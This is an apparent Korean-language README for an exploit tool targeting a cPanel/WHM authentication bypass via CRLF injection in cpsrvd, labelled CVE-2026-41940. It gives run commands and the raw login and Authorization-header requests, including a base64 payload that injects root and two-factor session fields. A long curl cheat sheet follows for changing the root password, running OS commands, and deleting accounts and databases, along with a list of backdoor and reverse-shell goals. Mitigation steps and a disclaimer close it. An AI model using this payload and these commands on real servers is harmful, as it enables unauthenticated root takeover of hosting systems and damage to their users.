
cPanel/WHM CVE-2026-41940에 대한 치명적인 인증 우회 익스플로잇. cpsrvd 데몬의 CRLF 주입을 활용해 자격 증명 없이 루트 WHM 액세스를 획득합니다. 버전 감지, 상세 로깅, 프록시 지원, JSON 보고, 사후 익스플로잇 계정 열거 기능을 포함합니다. 승인된 보안 테스트에만 사용하십시오.
cPanel/WHM cpsrvd 데몬의 CRLF 인젝션을 통한 치명적인 인증 우회
CVE-2026-41940은 cPanel & WHM의 치명적인 인증 우회 취약점으로, 인증되지 않은 원격 공격자가 서버에 대한 루트 수준 관리자 액세스를 획득할 수 있게 합니다. 이 취약점은
cpsrvd데몬의 세션 처리, 특히Cpanel/Session.pm내부에 존재하며,whostmgrsession쿠키와Authorization헤더의 줄 구분자(CRLF)에 대한 부적절한 무력화로 인해 세션 매개변수 주입이 가능해집니다.
| CVSS 점수 | 익스플로잇 유형 | 영향 | 공격 벡터 |
|---|---|---|---|
| 9.8 | 인증 우회 | 루트 액세스 | 네트워크 |
이 익스플로잇 도구는 다음과 같은 주요 기능을 제공합니다:
🔓 인증 우회 - 자격 증명 없이 루트 WHM 액세스 획득
🛡️ 다중 우회 기법 - 다양한 검증 방법을 자동으로 시도
🌐 프록시 지원 - HTTP/HTTPS 프록시를 통한 트래픽 라우팅
📊 JSON 리포트 - 상세 평가 보고서 생성
📝 포괄적 로깅 - 타임스탬프가 포함된 상세 디버그 모드
🔍 버전 탐지 - 취약한 버전 자동 감지 및 확인
👥 계정 열거 - 익스플로잇 후 모든 cPanel 계정 나열
🎯 다중 엔드포인트 - 검증을 위해 다양한 API 엔드포인트 시도
이 취약점은 두 가지 주요 문제에서 발생합니다:
세션 저장소의 CRLF 인젝션 - saveSession 함수는 세션 파일에 쓰기 전에 pass 필드의 개행 문자(\n)를 살균하지 못하여 임의의 세션 매개변수 주입을 허용합니다.
조건부 인코딩 우회 - 세션 쿠키에 ob 부분(쉼표 뒤의 세그먼트)이 없으면 pass 값이 인코딩되지 않은 상태(평문)로 기록되어 CRLF 시퀀스 주입이 가능해집니다.
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
익스플로잇은 먼저 실패한 로그인을 시도하여 사전 인증 세션 쿠키를 획득합니다:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
응답:
Set-Cookie: whostmgrsession=base64_encoded_data
조작된 Authorization 헤더가 악성 세션 매개변수를 주입합니다:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
디코딩된 페이로드:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
서버는 관리자 세션 토큰이 포함된 리디렉션으로 응답합니다:
Location: /cpsess1234567890/
익스플로잇은 루트 액세스를 확인하기 위해 여러 검증 방법을 시도합니다.
익스플로잇이 성공하면 획득한 토큰과 함께 다음 명령어를 사용하세요:
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"
# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"
# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"
# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"
# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"
# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"
# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"
# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"
# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"
# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
-d "user=root&pass=NewP@ss123"
# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
-d "username=testuser&domain=test.com&password=TestPass123&plan=default"
# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
-d "script=id"
# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
-d "user=testuser"
# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
-d "user=testuser"
# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
-d "user=testuser"
# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"
# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"
# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"
# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"
# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"
# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
-d "db=test_db"
# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
-d "db=test_db"
# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"
루트 WHM 액세스를 획득하면 공격자는 다음을 수행할 수 있습니다:
🔍 모든 cPanel 계정 나열
👤 새 cPanel 계정 생성
🔑 계정 비밀번호 변경
❌ 계정 삭제 또는 정지
🖥️ OS 명령 실행
🔄 루트 비밀번호 변경
📊 서버 통계 확인
🗄️ MySQL 데이터베이스 관리
🐚 리버스 셸 배포
🌐 웹 셸 설치
🗝️ 백도어 설치
🔒 숨겨진 관리자 계정 생성
📁 모든 서버 파일 액세스
💾 데이터베이스 내보내기
📧 이메일 계정 읽기
🔐 SSL 인증서 액세스
# 1. Update cPanel/WHM immediately
/scripts/upcp --force
# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall
# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication
# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords
# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"
# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
✅ CRLF 인젝션 방지를 위한 엄격한 입력 검증 구현
✅ 악성 요청을 탐지하고 차단하는 WAF 규칙 배포
✅ WHM에 대한 IP 기반 액세스 제한 활성화
✅ cPanel/WHM을 최신 버전으로 정기적으로 업데이트
✅ 정기적인 보안 평가 수행
✅ 의심스러운 활동에 대한 로그 모니터링
✅ 최소 권한 원칙 구현
✅ WHM에서 Security Advisor 활성화
✅ 정기적인 보안 감사
✅ 침입 탐지 시스템 구현
{
"timestamp": "2026-07-26T22:23:25.123456",
"target": "https://target.com:2087",
"status": "success",
"token": "1234567890",
"detected_version": "11.110.0.85",
"vulnerable": true,
"verification_method": "url_format",
"notes": "Root access confirmed; Token verified",
"exploit_name": "CVE-2026-41940",
"cvss_score": "9.8",
"description": "cPanel/WHM Authentication Bypass via CRLF Injection",
"exploit_version": "1.0"
}
이 도구는 교육 및 윤리적 보안 연구 목적으로만 제공됩니다. 저자와 기여자는 이 소프트웨어로 인해 발생하는 오용이나 피해에 대해 책임을 지지 않습니다. 이 도구를 사용함으로써 귀하는 자신의 행동에 대한 모든 책임을 부담하는 데 동의합니다. 시스템을 테스트하기 전에 명시적인 허가를 받았는지 확인하세요.
기여를 환영합니다! 다음 단계를 따르세요:
🍴 저장소 포크
🔧 기능 브랜치 생성 (git checkout -b feature/amazing-feature )
💾 변경 사항 커밋 (git commit -m 'Add amazing feature')
📤 브랜치에 푸시 (git push origin feature/amazing-feature)
🔃 풀 리퀘스트 열기
🎉 최초 릴리스
🔓 CRLF 인젝션 익스플로잇 구현
🛡️ 다중 검증 우회 기법
📊 JSON 보고서 생성
🌐 프록시 지원
📝 포괄적 로깅
🔍 버전 탐지
👥 계정 열거
📚 포괄적인 익스플로잇 후 명령어
보안 권고 - [email protected]
GitHub 이슈 - 이슈 생성
⚠️ 기억하세요: 큰 힘에는 큰 책임이 따릅니다! 윤리적으로 사용하세요! ⚠️
보안 커뮤니티를 위해 ❤️로 제작되었습니다
| 속성 | 값 |
|---|
| CVE ID | CVE-2026-41940 |
| CVSS 점수 | 9.8 (치명적) |
| 취약점 유형 | CRLF 인젝션을 통한 인증 우회 |
| 영향받는 구성 요소 | cpsrvd 데몬 (Cpanel/Session.pm) |
| 공격 벡터 | 네트워크 |
| 영향 | 전체 루트 액세스 |
| 악용 방식 | 비인증 원격 |
| 릴리스 트랙 | 취약한 최대 버전 | 패치 버전 |
|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
| 인자 | 약어 | 필수 | 설명 |
|---|
--target | -t | ✅ | 대상 URL (예: https://target.com:2087 ) |
--verbose | -v | ❌ | 상세/디버그 출력 활성화 |
--proxy | -p | ❌ | 프록시 URL (예: http://127.0.0.1:8080 ) |
--output | -o | ❌ | JSON 보고서 출력 파일 |
--timeout | ❌ | 요청 타임아웃(초) (기본값: 10) | |
--list-accounts | -l | ❌ | 익스플로잇 성공 후 cPanel 계정 나열 |
--version | ❌ | 익스플로잇 버전 표시 |